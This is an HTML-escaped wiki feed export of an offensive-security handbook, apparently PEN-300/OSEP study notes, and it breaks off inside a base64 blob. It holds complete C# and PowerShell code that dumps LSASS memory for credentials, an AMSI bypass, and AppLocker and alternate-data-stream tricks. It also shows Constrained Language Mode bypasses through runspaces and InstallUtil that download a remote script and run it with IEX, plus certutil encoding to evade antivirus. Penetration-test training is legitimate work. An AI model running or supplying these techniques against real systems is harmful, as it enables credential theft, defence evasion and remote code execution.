* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2355</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2355"/>
		<updated>2026-03-16T11:26:01Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
